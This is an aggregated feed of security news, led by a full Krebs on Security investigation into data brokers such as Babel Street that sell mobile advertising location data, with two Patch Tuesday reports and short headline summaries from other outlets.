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☐ ☆ ✇ Security – Cisco Blog

Harnessing AI to Simplify Cloud Configuration Drift Detection

By: Gogulakrishnan Thiyagarajan — January 31st 2025 at 13:00
Explore how AI-driven solutions can proactively identify configuration drifts, enhance cloud security, and ensure compliance efficiently.
☐ ☆ ✇ Krebs on Security

The Global Surveillance Free-for-All in Mobile Ad Data

By: BrianKrebs — October 23rd 2024 at 11:30

Not long ago, the ability to digitally track someone’s daily movements just by knowing their home address, employer, or place of worship was considered a dangerous power that should remain only within the purview of nation states. But a new lawsuit in a likely constitutional battle over a New Jersey privacy law shows that anyone can now access this capability, thanks to a proliferation of commercial services that hoover up the digital exhaust emitted by widely-used mobile apps and websites.

Image: Shutterstock, Arthimides.

Delaware-based Atlas Data Privacy Corp. helps its users remove their personal information from the clutches of consumer data brokers, and from people-search services online. Backed by millions of dollars in litigation financing, Atlas so far this year has sued 151 consumer data brokers on behalf of a class that includes more than 20,000 New Jersey law enforcement officers who are signed up for Atlas services.

Atlas alleges all of these data brokers have ignored repeated warnings that they are violating Daniel’s Law, a New Jersey statute allowing law enforcement, government personnel, judges and their families to have their information completely removed from commercial data brokers. Daniel’s Law was passed in 2020 after the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge — his mother.

Last week, Atlas invoked Daniel’s Law in a lawsuit (PDF) against Babel Street, a little-known technology company incorporated in Reston, Va. Babel Street’s core product allows customers to draw a digital polygon around nearly any location on a map of the world, and view a slightly dated (by a few days) time-lapse history of the mobile devices seen coming in and out of the specified area.

Babel Street’s LocateX platform also allows customers to track individual mobile users by their Mobile Advertising ID or MAID, a unique, alphanumeric identifier built into all Google Android and Apple mobile devices.

Babel Street can offer this tracking capability by consuming location data and other identifying information that is collected by many websites and broadcast to dozens and sometimes hundreds of ad networks that may wish to bid on showing their ad to a particular user.

This image, taken from a video recording Atlas made of its private investigator using Babel Street to show all of the unique mobile IDs seen over time at a mosque in Dearborn, Michigan. Each red dot represents one mobile device.

In an interview, Atlas said a private investigator they hired was offered a free trial of Babel Street, which the investigator was able to use to determine the home address and daily movements of mobile devices belonging to multiple New Jersey police officers whose families have already faced significant harassment and death threats.

Atlas said the investigator encountered Babel Street while testing hundreds of data broker tools and services to see if personal information on its users was being sold. They soon discovered Babel Street also bundles people-search services with its platform, to make it easier for customers to zero in on a specific device.

The investigator contacted Babel Street about possibly buying home addresses in certain areas of New Jersey. After listening to a sales pitch for Babel Street and expressing interest, the investigator was told Babel Street only offers their service to the government or to “contractors of the government.”

“The investigator (truthfully) mentioned that he was contemplating some government contract work in the future and was told by the Babel Street salesperson that ‘that’s good enough’ and that ‘they don’t actually check,’” Atlas shared in an email with reporters.

KrebsOnSecurity was one of five media outlets invited to review screen recordings that Atlas made while its investigator used a two-week trial version of Babel Street’s LocateX service. References and links to reporting by other publications, including 404 Media, Haaretz, NOTUS, and The New York Times, will appear throughout this story.

Collectively, these stories expose how the broad availability of mobile advertising data has created a market in which virtually anyone can build a sophisticated spying apparatus capable of tracking the daily movements of hundreds of millions of people globally.

The findings outlined in Atlas’s lawsuit against Babel Street also illustrate how mobile location data is set to massively complicate several hot-button issues, from the tracking of suspected illegal immigrants or women seeking abortions, to harassing public servants who are already in the crosshairs over baseless conspiracy theories and increasingly hostile political rhetoric against government employees.

WARRANTLESS SURVEILLANCE

Atlas says the Babel Street trial period allowed its investigator to find information about visitors to high-risk targets such as mosques, synagogues, courtrooms and abortion clinics. In one video, an Atlas investigator showed how they isolated mobile devices seen in a New Jersey courtroom parking lot that was reserved for jurors, and then tracked one likely juror’s phone to their home address over several days.

While the Atlas investigator had access to its trial account at Babel Street, they were able to successfully track devices belonging to several plaintiffs named or referenced in the lawsuit. They did so by drawing a digital polygon around the home address or workplace of each person in Babel Street’s platform, which focused exclusively on the devices that passed through those addresses each day.

Each red dot in this Babel Street map represents a unique mobile device that has been seen since April 2022 at a Jewish synagogue in Los Angeles, Calif. Image: Atlas Data Privacy Corp.

One unique feature of Babel Street is the ability to toggle a “night” mode, which makes it relatively easy to determine within a few meters where a target typically lays their head each night (because their phone is usually not far away).

Atlas plaintiffs Scott and Justyna Maloney are both veteran officers with the Rahway, NJ police department who live together with their two young children. In April 2023, Scott and Justyna became the target of intense harassment and death threats after Officer Justyna responded to a routine call about a man filming people outside of the Motor Vehicle Commission in Rahway.

The man filming the Motor Vehicle Commission that day is a social media personality who often solicits police contact and then records himself arguing about constitutional rights with the responding officers.

Officer Justyna’s interaction with the man was entirely peaceful, and the episode appeared to end without incident. But after a selectively edited video of that encounter went viral, their home address and unpublished phone numbers were posted online. When their tormentors figured out that Scott was also a cop (a sergeant), the couple began receiving dozens of threatening text messages, including specific death threats.

According to the Atlas lawsuit, one of the messages to Mr. Maloney demanded money, and warned that his family would “pay in blood” if he didn’t comply. Sgt. Maloney said he then received a video in which a masked individual pointed a rifle at the camera and told him that his family was “going to get [their] heads cut off.”

Maloney said a few weeks later, one of their neighbors saw two suspicious individuals in ski masks parked one block away from the home and alerted police. Atlas’s complaint says video surveillance from neighboring homes shows the masked individuals circling the Maloney’s home. The responding officers arrested two men, who were armed, for unlawful possession of a firearm.

According to Google Maps, Babel Street shares a corporate address with Google and the consumer credit reporting bureau TransUnion.

Atlas said their investigator was not able to conclusively find Scott Maloney’s iPhone in the Babel Street platform, but they did find Justyna’s. Babel Street had nearly 100,000 hits for her phone over several months, allowing Atlas to piece together an intimate picture of Justyna’s daily movements and meetings with others.

An Atlas investigator visited the Maloneys and inspected Justyna’s iPhone, and determined the only app that used her device’s location data was from the department store Macy’s.

In a written response to questions, Macy’s said its app includes an opt-in feature for geo-location, “which allows customers to receive an enhanced shopping experience based on their location.”

“We do not store any customer location information,” Macy’s wrote. “We share geo-location data with a limited number of partners who help us deliver this enhanced app experience. Furthermore, we have no connection with Babel Street” [link added for context].

Justyna’s experience highlights a stark reality about the broad availability of mobile location data: Even if the person you’re looking for isn’t directly identifiable in platforms like Babel Street, it is likely that at least some of that person’s family members are. In other words, it’s often trivial to infer the location of one device by successfully locating another.

The terms of service for Babel Street’s Locate X service state that the product “may not be used as the basis for any legal process in any country, including as the basis for a warrant, subpoena, or any other legal or administrative action.” But Scott Maloney said he’s convinced by their experience that not even law enforcement agencies should have access to this capability without a warrant.

“As a law enforcement officer, in order for me to track someone I need a judge to sign a warrant – and that’s for a criminal investigation after we’ve developed probable cause,” Mr. Maloney said in an interview. “Data brokers tracking me and my family just to sell that information for profit, without our consent, and even after we’ve explicitly asked them not to is deeply disturbing.”

Mr. Maloney’s law enforcement colleagues in other states may see things differently. In August, The Texas Observer reported that state police plan to spend more than $5 million on a contract for a controversial surveillance tool called Tangles from the tech firm PenLink. Tangles is an AI-based web platform that scrapes information from the open, deep and dark web, and it has a premier feature called WebLoc that can be used to geofence mobile devices.

The Associated Press reported last month that law enforcement agencies from suburban Southern California to rural North Carolina have been using an obscure cell phone tracking tool called Fog Reveal — at times without warrants — that gives them the ability to follow people’s movements going back many months.

It remains unclear precisely how Babel Street is obtaining the abundance of mobile location data made available to users of its platform. The company did not respond to multiple requests for comment.

But according to a document (PDF) obtained under a Freedom of Information Act request with the Department of Homeland Security’s Science and Technology directorate, Babel Street re-hosts data from the commercial phone tracking firm Venntel.

On Monday, the Substack newsletter All-Source Intelligence unearthed documents indicating that the U.S. Federal Trade Commission has opened an inquiry into Venntel and its parent company Gravy Analytics.

“Venntel has also been a data partner of the police surveillance contractor Fog Data Science, whose product has been described as ‘mass surveillance on a budget,'” All-Source’s Jack Poulson wrote. “Venntel was also reported to have been a primary data source of the controversial ‘Locate X’ phone tracking product of the American data fusion company Babel Street.”

MAID IN HELL

The Mobile Advertising ID or MAID — the unique alphanumeric identifier assigned to each mobile device — was originally envisioned as a way to distinguish individual mobile customers without relying on personally identifiable information such as phone numbers or email addresses.

However, there is now a robust industry of marketing and advertising companies that specialize in assembling enormous lists of MAIDs that are “enriched” with historical and personal information about the individual behind each MAID.

One of many vendors that “enrich” MAID data with other identifying information, including name, address, email address and phone number.

Atlas said its investigator wanted to know whether they could find enriched MAID records on their New Jersey law enforcement customers, and soon found plenty of ad data brokers willing to sell it.

Some vendors offered only a handful of data fields, such as first and last name, MAID and email address. Other brokers sold far more detailed histories along with their MAID, including each subject’s social media profiles, precise GPS coordinates, and even likely consumer category.

How are advertisers and data brokers gaining access to so much information? Some sources of MAID data can be apps on your phone such as AccuWeather, GasBuddy, Grindr, and MyFitnessPal that collect your MAID and location and sell that to brokers.

A user’s MAID profile and location data also is commonly shared as a consequence of simply using a smartphone to visit a web page that features ads. In the few milliseconds before those ads load, the website will send a “bid request” to various ad exchanges, where advertisers can bid on the chance to place their ad in front of users who match the consumer profiles they’re seeking. A great deal of data can be included in a bid request, including the user’s precise location (the current open standard for bid requests is detailed here).

The trouble is that virtually anyone can access the “bidstream” data flowing through these so-called “realtime bidding” networks, because the information is simultaneously broadcast in the clear to hundreds of entities around the world.

The result is that there are a number of marketing companies that now enrich and broker access to this mobile location information. Earlier this year, the German news outlet netzpolitik.org purchased a bidstream data set containing more than 3.6 billion data points, and shared the information with the German daily BR24. They concluded that the data they obtained (through a free trial, no less) made it possible to establish movement profiles — some of them quite precise — of several million people across Germany.

A screenshot from the BR24/Netzpolitik story about their ability to track millions of Germans, including many employees of the German Federal Police and Interior Ministry.

Politico recently covered startling research from universities in New Hampshire, Kentucky and St. Louis that showed how the mobile advertising data they acquired allowed them to link visits from investigators with the U.S. Securities and Exchange Commission (SEC) to insiders selling stock before the investigations became public knowledge.

The researchers in that study said they didn’t attempt to use the same methods to track regulators from other agencies, but that virtually anyone could do it.

Justin Sherman, a distinguished fellow at Georgetown Law’s Center for Privacy and Technology, called the research a “shocking demonstration of what happens when companies can freely harvest Americans’ geolocation data and sell it for their chosen price.”

“Politicians should understand how they, their staff, and public servants are threatened by the sale of personal data—and constituent groups should realize that talk of data broker ‘controls’ or ‘best practices” is designed by companies to distract from the underlying problems and the comprehensive privacy and security solutions,” Sherman wrote for Lawfare this week.

A BIDSTREAM DRAGNET?

The Orwellian nature of modern mobile advertising networks may soon have far-reaching implications for women’s reproductive rights, as more states move to outlaw abortion within their borders. The 2022 Dobbs decision by the U.S. Supreme Court discarded the federal right to abortion, and 14 states have since enacted strict abortion bans.

Anti-abortion groups are already using mobile advertising data to advance their cause. In May 2023, The Wall Street Journal reported that an anti-abortion group in Wisconsin used precise geolocation data to direct ads to women it suspected of seeking abortions.

As it stands, there is little to stop anti-abortion groups from purchasing bidstream data (or renting access to a platform like Babel Street) and using it to geofence abortion clinics, potentially revealing all mobile devices transiting through these locations.

Atlas said its investigator geofenced an abortion clinic and was able to identify a likely employee at that clinic, following their daily route to and from that individual’s home address.

A still shot from a video Atlas shared of its use of Babel Street to identify and track an employee traveling each day between their home and the clinic.

Last year, Idaho became the first state to outlaw “abortion trafficking,” which the Idaho Capital Sun reports is defined as “recruiting, harboring or transporting a pregnant minor to get an abortion or abortion medication without parental permission.” Tennessee now has a similar law, and GOP lawmakers in five other states introduced abortion trafficking bills that failed to advance this year, the Sun reports.

Atlas said its investigator used Babel Street to identify and track a person traveling from their home in Alabama — where abortion is now illegal — to an abortion clinic just over the border in Tallahassee, Fla. — and back home again within a few hours. Abortion rights advocates and providers are currently suing Alabama Attorney General Steve Marshall, seeking to block him from prosecuting people who help patients travel out-of-state to end pregnancies.

Eva Galperin, director of cybersecurity at the Electronic Frontier Foundation (EFF), a non-profit digital rights group, said she’s extremely concerned about dragnet surveillance of people crossing state lines in order to get abortions.

“Specifically, Republican officials from states that have outlawed abortion have made it clear that they are interested in targeting people who have gone to neighboring states in order to get abortions, and to make it more difficult for people who are seeking abortions to go to neighboring states,” Galperin said. “It’s not a great leap to imagine that states will do this.”

APPLES AND GOOGLES

Atlas found that for the right price (typically $10-50k a year), brokers can provide access to tens of billions of data points covering large swaths of the US population and the rest of the world.

Based on the data sets Atlas acquired — many of which included older MAID records — they estimate they could locate roughly 80 percent of Android-based devices, and about 25 percent of Apple phones. Google refers to its MAID as the “Android Advertising ID,” (AAID) while Apple calls it the “Identifier for Advertisers” (IDFA).

What accounts for the disparity between the number of Android and Apple devices that can be found in mobile advertising data? In April 2021, Apple shipped version 14.5 of its iOS operating system, which introduced a technology called App Tracking Transparency (ATT) that requires apps to get affirmative consent before they can track users by their IDFA or any other identifier.

Apple’s introduction of ATT had a swift and profound impact on the advertising market: Less than a year later Facebook disclosed that the iPhone privacy feature would decrease the company’s 2022 revenues by about $10 billion.

Source: cnbc.com.

Google runs by far the world’s largest ad exchange, known as AdX. The U.S. Department of Justice, which has accused Google of building a monopoly over the technology that places ads on websites, estimates that Google’s ad exchange controls 47 percent of the U.S. market and 56 percent globally.

Google’s Android is also the dominant mobile operating system worldwide, with more than 72 percent of the market. In the U.S., however, iPhone users claim approximately 55 percent of the market, according to TechRepublic.

In response to requests for comment, Google said it does not send real time bidding requests to Babel Street, nor does it share precise location data in bid requests. The company added that its policies explicitly prohibit the sale of data from real-time bidding, or its use for any purpose other than advertising.

Google said its MAIDs are randomly generated and do not contain IP addresses, GPS coordinates, or any other location data, and that its ad systems do not share anyone’s precise location data.

“Android has clear controls for users to manage app access to device location, and reset or delete their advertising ID,” Google’s written statement reads. “If we learn that someone, whether an app developer, ad tech company or anyone else, is violating our policies, we take appropriate action. Beyond that, we support legislation and industry collaboration to address these types of data practices that negatively affect the entire mobile ecosystem, including all operating systems.”

In a written statement shared with reporters, Apple said Location Services is not on by default in its devices. Rather, users must enable Location Services and must give permission to each app or website to use location data. Users can turn Location Services off at any time, and can change whether apps have access to location at any time. The user’s choices include precise vs. approximate location, as well as a one-time grant of location access by the app.

“We believe that privacy is a fundamental human right, and build privacy protections into each of our products and services to put the user in control of their data,” an Apple spokesperson said. “We minimize personal data collection, and where possible, process data only on users’ devices.”

Zach Edwards is a senior threat analyst at the cybersecurity firm SilentPush who has studied the location data industry closely. Edwards said Google and Apple can’t keep pretending like the MAIDs being broadcast into the bidstream from hundreds of millions of American devices aren’t making most people trivially trackable.

“The privacy risks here will remain until Apple and Google permanently turn off their mobile advertising ID schemes and admit to the American public that this is the technology that has been supporting the global data broker ecosystem,” he said.

STATES ACT, WHILE CONGRESS DITHERS

According to Bloomberg Law, between 2019 and 2023, threats against federal judges have more than doubled. Amid increasingly hostile political rhetoric and conspiracy theories against government officials, a growing number of states are seeking to pass their own versions of Daniel’s Law.

Last month, a retired West Virginia police officer filed a class action lawsuit against the people-search service Whitepages for listing their personal information in violation of a statute the state passed in 2021 that largely mirrors Daniel’s Law.

In May 2024, Maryland passed the Judge Andrew F. Wilkinson Judicial Security Act — named after a county circuit court judge who was murdered by an individual involved in a divorce proceeding over which he was presiding. The law allows current and former members of the Maryland judiciary to request their personal information not be made available to the public.

Under the Maryland law, personal information can include a home address; telephone number, email address; Social Security number or federal tax ID number; bank account or payment card number; a license plate or other unique vehicle identifier; a birth or marital record; a child’s name, school, or daycare; place of worship; place of employment for a spouse, child, or dependent.

The law firm Troutman Pepper writes that “so far in 2024, 37 states have begun considering or have adopted similar privacy-based legislation designed to protect members of the judiciary and, in some states, other government officials involved in law enforcement.”

Atlas alleges that in response to requests to have data on its New Jersey law enforcement clients scrubbed from consumer records sold by LexisNexis, the data broker retaliated by freezing the credit of approximately 18,500 people, and falsely reporting them as identity theft victims.

In addition, Atlas said LexisNexis started returning failure codes indicating they had no record of these individuals, resulting in denials when officers attempted to refinance loans or open new bank accounts.

The data broker industry has responded by having at least 70 of the Atlas lawsuits moved to federal court, and challenging the constitutionality of the New Jersey statute as overly broad and a violation of the First Amendment.

Attorneys for the data broker industry argued in their motion to dismiss that there is “no First Amendment doctrine that exempts a content-based restriction from strict scrutiny just because it has some nexus with a privacy interest.”

Atlas’s lawyers responded that data covered under Daniel’s Law — personal information of New Jersey law enforcement officers — is not free speech. Atlas notes that while defending against comparable lawsuits, the data broker industry has argued that home address and phone number data are not “communications.”

“Data brokers should not be allowed to argue that information like addresses are not ‘communications’ in one context, only to turn around and claim that addresses are protectable communications,” Atlas argued (PDF). “Nor can their change of course alter the reality that the data at issue is not speech.”

The judge overseeing the challenge is expected to rule on the motion to dismiss within the next few weeks. Regardless of the outcome, the decision is likely to be appealed all the way to the U.S. Supreme Court.

Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states could limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminal charges against media outlets that publish the same type of public and government records that fuel the people-search industry.

Sen. Ron Wyden (D-Ore.) said Congress’ failure to regulate data brokers, and the administration’s continued opposition to bipartisan legislation that would limit data sales to law enforcement, have created this current privacy crisis.

“Whether location data is being used to identify and expose closeted gay Americans, or to track people as they cross state lines to seek reproductive health care, data brokers are selling Americans’ deepest secrets and exposing them to serious harm, all for a few bucks,” Wyden said in a statement shared with KrebsOnSecurity, 404 Media, Haaretz, NOTUS, and The New York Times.

Sen. Wyden said Google also deserves blame for refusing to follow Apple’s lead by removing companies’ ability to track phones.

“Google’s insistence on uniquely tracking Android users – and allowing ad companies to do so as well – has created the technical foundations for the surveillance economy and the abuses stemming from it,” Wyden said.

Georgetown Law’s Justin Sherman said the data broker and mobile ad industries claim there are protections in place to anonymize mobile location data and restrict access to it, and that there are limits to the kinds of invasive inferences one can make from location data. The data broker industry also likes to tout the usefulness of mobile location data in fighting retail fraud, he said.

“All kinds of things can be inferred from this data, including people being targeted by abusers, or people with a particular health condition or religious belief,” Sherman said. “You can track jurors, law enforcement officers visiting the homes of suspects, or military intelligence people meeting with their contacts. The notion that the sale of all this data is preventing harm and fraud is hilarious in light of all the harm it causes enabling people to better target their cyber operations, or learning about people’s extramarital affairs and extorting public officials.”

WHAT CAN YOU DO?

Privacy experts say disabling or deleting your device’s MAID will have no effect on how your phone operates, except that you may begin to see far less targeted ads on that device.

Any Android apps with permission to use your location should appear when you navigate to the Settings app, Location, and then App Permissions. “Allowed all the time” is the most permissive setting, followed by “Allowed only while in use,” “Ask every time,” and “Not allowed.”

Android users can delete their ad ID permanently, by opening the Settings app and navigating to Privacy > Ads. Tap “Delete advertising ID,” then tap it again on the next page to confirm. According to the EFF, this will prevent any app on your phone from accessing the ad ID in the future. Google’s documentation on this is here.

Image: eff.org

By default, Apple’s iOS requires apps to ask permission before they can access your device’s IDFA. When you install a new app, it may ask for permission to track you. When prompted to do so by an app, select the “Ask App Not to Track” option. Apple users also can set the “Allow apps to request to track” switch to the “off” position, which will block apps from asking to track you.

Apple’s Privacy and Ad Tracking Settings.

Apple also has its own targeted advertising system which is separate from third-party tracking enabled by the IDFA. To disable it, go to Settings, Privacy, and Apple Advertising, and ensure that the “Personalized Ads” setting is set to “off.”

Finally, if you’re the type of reader who’s the default IT support person for a small group of family or friends (bless your heart), it would be a good idea to set their devices not to track them, and to disable any apps that may have location data sharing turned on 24/7.

There is a dual benefit to this altruism, which is clearly in the device owner’s best interests. Because while your device may not be directly trackable via advertising data, making sure they’re opted out of said tracking also can reduce the likelihood that you are trackable simply by being physically close to those who are.

☐ ☆ ✇ Krebs on Security

Patch Tuesday, October 2024 Edition

By: BrianKrebs — October 8th 2024 at 22:21

Microsoft today released security updates to fix at least 117 security holes in Windows computers and other software, including two vulnerabilities that are already seeing active attacks. Also, Adobe plugged 52 security holes across a range of products, and Apple has addressed a bug in its new macOS 15Sequoia” update that broke many cybersecurity tools.

One of the zero-day flaws — CVE-2024-43573 — stems from a security weakness in MSHTML, the proprietary engine of Microsoft’s Internet Explorer web browser. If that sounds familiar it’s because this is the fourth MSHTML vulnerability found to be exploited in the wild so far in 2024.

Nikolas Cemerikic, a cybersecurity engineer at Immersive Labs, said the vulnerability allows an attacker to trick users into viewing malicious web content, which could appear legitimate thanks to the way Windows handles certain web elements.

“Once a user is deceived into interacting with this content (typically through phishing attacks), the attacker can potentially gain unauthorized access to sensitive information or manipulate web-based services,” he said.

Cemerikic noted that while Internet Explorer is being retired on many platforms, its underlying MSHTML technology remains active and vulnerable.

“This creates a risk for employees using these older systems as part of their everyday work, especially if they are accessing sensitive data or performing financial transactions online,” he said.

Probably the more serious zero-day this month is CVE-2024-43572, a code execution bug in the Microsoft Management Console, a component of Windows that gives system administrators a way to configure and monitor the system.

Satnam Narang, senior staff research engineer at Tenable, observed that the patch for CVE-2024-43572 arrived a few months after researchers at Elastic Security Labs disclosed an attack technique called GrimResource that leveraged an old cross-site scripting (XSS) vulnerability combined with a specially crafted Microsoft Saved Console (MSC) file to gain code execution privileges.

“Although Microsoft patched a different MMC vulnerability in September (CVE-2024-38259) that was neither exploited in the wild nor publicly disclosed,” Narang said. “Since the discovery of CVE-2024-43572, Microsoft now prevents untrusted MSC files from being opened on a system.”

Microsoft also patched Office, Azure, .NET, OpenSSH for Windows; Power BI; Windows Hyper-V; Windows Mobile Broadband, and Visual Studio. As usual, the SANS Internet Storm Center has a list of all Microsoft patches released today, indexed by severity and exploitability.

Late last month, Apple rolled out macOS 15, an operating system update called Sequoia that broke the functionality of security tools made by a number of vendors, including CrowdStrike, SentinelOne and Microsoft. On Oct. 7, Apple pushed an update to Sequoia users that addresses these compatibility issues.

Finally, Adobe has released security updates to plug a total of 52 vulnerabilities in a range of software, including Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker.

Please consider backing up important data before applying any updates. Zero-days aside, there’s generally little harm in waiting a few days to apply any pending patches, because not infrequently a security update introduces stability or compatibility issues. AskWoody.com usually has the skinny on any problematic patches.

And as always, if you run into any glitches after installing patches, leave a note in the comments; chances are someone else is stuck with the same issue and may have even found a solution.

☐ ☆ ✇ WIRED

Perplexity Is a Bullshit Machine

By: Dhruv Mehrotra, Tim Marchman — June 19th 2024 at 13:00
A WIRED investigation shows that the AI-powered search startup Forbes has accused of stealing its content is surreptitiously scraping—and making things up out of thin air.
☐ ☆ ✇ The Hacker News

Experts Find Flaw in Replicate AI Service Exposing Customers' Models and Data

By: Newsroom — May 25th 2024 at 09:11
Cybersecurity researchers have discovered a critical security flaw in an artificial intelligence (AI)-as-a-service provider Replicate that could have allowed threat actors to gain access to proprietary AI models and sensitive information. "Exploitation of this vulnerability would have allowed unauthorized access to the AI prompts and results of all Replicate's platform customers,"
☐ ☆ ✇ The Hacker News

Hackers Created Rogue VMs to Evade Detection in Recent MITRE Cyber Attack

By: Newsroom — May 24th 2024 at 16:30
The MITRE Corporation has revealed that the cyber attack targeting the not-for-profit company towards late December 2023 by exploiting zero-day flaws in Ivanti Connect Secure (ICS) involved the threat actor creating rogue virtual machines (VMs) within its VMware environment. "The adversary created their own rogue VMs within the VMware environment, leveraging compromised vCenter Server access,"
☐ ☆ ✇ The Hacker News

(Cyber) Risk = Probability of Occurrence x Damage

By: The Hacker News — May 15th 2024 at 11:38
Here’s How to Enhance Your Cyber Resilience with CVSS In late 2023, the Common Vulnerability Scoring System (CVSS) v4.0 was unveiled, succeeding the eight-year-old CVSS v3.0, with the aim to enhance vulnerability assessment for both industry and the public. This latest version introduces additional metrics like safety and automation to address criticism of lacking granularity while
☐ ☆ ✇ The Hacker News

It's Time to Master the Lift & Shift: Migrating from VMware vSphere to Microsoft Azure

By: The Hacker News — May 15th 2024 at 10:55
While cloud adoption has been top of mind for many IT professionals for nearly a decade, it’s only in recent months, with industry changes and announcements from key players, that many recognize the time to make the move is now. It may feel like a daunting task, but tools exist to help you move your virtual machines (VMs) to a public cloud provider – like Microsoft Azure
☐ ☆ ✇ Krebs on Security

Patch Tuesday, May 2024 Edition

By: BrianKrebs — May 14th 2024 at 20:19

Microsoft today released updates to fix more than 60 security holes in Windows computers and supported software, including two “zero-day” vulnerabilities in Windows that are already being exploited in active attacks. There are also important security patches available for macOS and Adobe users, and for the Chrome Web browser, which just patched its own zero-day flaw.

First, the zero-days. CVE-2024-30051 is an “elevation of privilege” bug in a core Windows library. Satnam Narang at Tenable said this flaw is being used as part of post-compromise activity to elevate privileges as a local attacker.

“CVE-2024-30051 is used to gain initial access into a target environment and requires the use of social engineering tactics via email, social media or instant messaging to convince a target to open a specially crafted document file,” Narang said. “Once exploited, the attacker can bypass OLE mitigations in Microsoft 365 and Microsoft Office, which are security features designed to protect end users from malicious files.”

Kaspersky Lab, one of two companies credited with reporting exploitation of CVE-2024-30051 to Microsoft, has published a fascinating writeup on how they discovered the exploit in a file shared with Virustotal.com.

Kaspersky said it has since seen the exploit used together with QakBot and other malware. Emerging in 2007 as a banking trojan, QakBot (a.k.a. Qbot and Pinkslipbot) has morphed into an advanced malware strain now used by multiple cybercriminal groups to prepare newly compromised networks for ransomware infestations.

CVE-2024-30040 is a security feature bypass in MSHTML, a component that is deeply tied to the default Web browser on Windows systems. Microsoft’s advisory on this flaw is fairly sparse, but Kevin Breen from Immersive Labs said this vulnerability also affects Office 365 and Microsoft Office applications.

“Very little information is provided and the short description is painfully obtuse,” Breen said of Microsoft’s advisory on CVE-2024-30040.

The only vulnerability fixed this month that earned Microsoft’s most-dire “critical” rating is CVE-2024-30044, a flaw in Sharepoint that Microsoft said is likely to be exploited. Tenable’s Narang notes that exploitation of this bug requires an attacker to be authenticated to a vulnerable SharePoint Server with Site Owner permissions (or higher) first and to take additional steps in order to exploit this flaw, which makes this flaw less likely to be widely exploited as most attackers follow the path of least resistance.

Five days ago, Google released a security update for Chrome that fixes a zero-day in the popular browser. Chrome usually auto-downloads any available updates, but it still may require a complete restart of the browser to install them. If you use Chrome and see a “Relaunch to update” message in the upper right corner of the browser, it’s time to restart.

Apple has just shipped macOS Sonoma 14.5 update, which includes nearly two dozen security patches. To ensure your Mac is up-to-date, go to System Settings, General tab, then Software Update and follow any prompts.

Finally, Adobe has critical security patches available for a range of products, including Acrobat, Reader, Illustrator, Adobe Substance 3D Painter, Adobe Aero, Adobe Animate and Adobe Framemaker.

Regardless of whether you use a Mac or Windows system (or something else), it’s always a good idea to backup your data and or system before applying any security updates. For a closer look at the individual fixes released by Microsoft today, check out the complete list over at the SANS Internet Storm Center. Anyone in charge of maintaining Windows systems in an enterprise environment should keep an eye on askwoody.com, which usually has the scoop on any wonky Windows patches.

Update, May 15, 8:28 a.m.: Corrected misattribution of CVE-2024-30051.

☐ ☆ ✇ The Hacker News

6 Mistakes Organizations Make When Deploying Advanced Authentication

By: The Hacker News — May 14th 2024 at 10:51
Deploying advanced authentication measures is key to helping organizations address their weakest cybersecurity link: their human users. Having some form of 2-factor authentication in place is a great start, but many organizations may not yet be in that spot or have the needed level of authentication sophistication to adequately safeguard organizational data. When deploying
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Apple and Google Launch Cross-Platform Feature to Detect Unwanted Bluetooth Tracking Devices

By: Newsroom — May 14th 2024 at 05:16
Apple and Google on Monday officially announced the rollout of a new feature that notifies users across both iOS and Android if a Bluetooth tracking device is being used to stealthily keep tabs on them without their knowledge or consent. "This will help mitigate the misuse of devices designed to help keep track of belongings," the companies said in a joint statement, adding it aims to address "
☐ ☆ ✇ The Hacker News

New 'Cuckoo' Persistent macOS Spyware Targeting Intel and Arm Macs

By: Newsroom — May 6th 2024 at 07:48
Cybersecurity researchers have discovered a new information stealer targeting Apple macOS systems that's designed to set up persistence on the infected hosts and act as a spyware. Dubbed Cuckoo by Kandji, the malware is a universal Mach-O binary that's capable of running on both Intel- and Arm-based Macs. The exact distribution vector is currently unclear, although there are
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Bitcoin Forensic Analysis Uncovers Money Laundering Clusters and Criminal Proceeds

By: Newsroom — May 1st 2024 at 14:25
A forensic analysis of a graph dataset containing transactions on the Bitcoin blockchain has revealed clusters associated with illicit activity and money laundering, including detecting criminal proceeds sent to a crypto exchange and previously unknown wallets belonging to a Russian darknet market. The findings come from Elliptic in collaboration with researchers from the&
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U.S. Government Releases New AI Security Guidelines for Critical Infrastructure

By: Newsroom — April 30th 2024 at 10:36
The U.S. government has unveiled new security guidelines aimed at bolstering critical infrastructure against artificial intelligence (AI)-related threats. "These guidelines are informed by the whole-of-government effort to assess AI risks across all sixteen critical infrastructure sectors, and address threats both to and from, and involving AI systems," the Department of Homeland Security (DHS)&
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Google Prevented 2.28 Million Malicious Apps from Reaching Play Store in 2023

By: Newsroom — April 29th 2024 at 17:07
Google on Monday revealed that almost 200,000 app submissions to its Play Store for Android were either rejected or remediated to address issues with access to sensitive data such as location or SMS messages over the past year. The tech giant also said it blocked 333,000 bad accounts from the app storefront in 2023 for attempting to distribute malware or for repeated policy violations. "In 2023,
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OfflRouter Malware Evades Detection in Ukraine for Almost a Decade

By: Newsroom — April 18th 2024 at 14:25
Select Ukrainian government networks have remained infected with a malware called OfflRouter since 2015. Cisco Talos said its findings are based on an analysis of over 100 confidential documents that were infected with the VBA macro virus and uploaded to the VirusTotal malware scanning platform since 2018. More than 20 such documents have been uploaded since 2022. "The documents contained VBA
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Recover from Ransomware in 5 Minutes—We will Teach You How!

By: The Hacker News — April 18th 2024 at 11:17
Super Low RPO with Continuous Data Protection:Dial Back to Just Seconds Before an Attack Zerto, a Hewlett Packard Enterprise company, can help you detect and recover from ransomware in near real-time. This solution leverages continuous data protection (CDP) to ensure all workloads have the lowest recovery point objective (RPO) possible. The most valuable thing about CDP is that it does not use
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How to Conduct Advanced Static Analysis in a Malware Sandbox

By: The Hacker News — April 18th 2024 at 10:31
Sandboxes are synonymous with dynamic malware analysis. They help to execute malicious files in a safe virtual environment and observe their behavior. However, they also offer plenty of value in terms of static analysis. See these five scenarios where a sandbox can prove to be a useful tool in your investigations. Detecting Threats in PDFs PDF files are frequently exploited by threat actors to
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AI Copilot: Launching Innovation Rockets, But Beware of the Darkness Ahead

By: The Hacker News — April 15th 2024 at 13:30
Imagine a world where the software that powers your favorite apps, secures your online transactions, and keeps your digital life could be outsmarted and taken over by a cleverly disguised piece of code. This isn't a plot from the latest cyber-thriller; it's actually been a reality for years now. How this will change – in a positive or negative direction – as artificial intelligence (AI) takes on
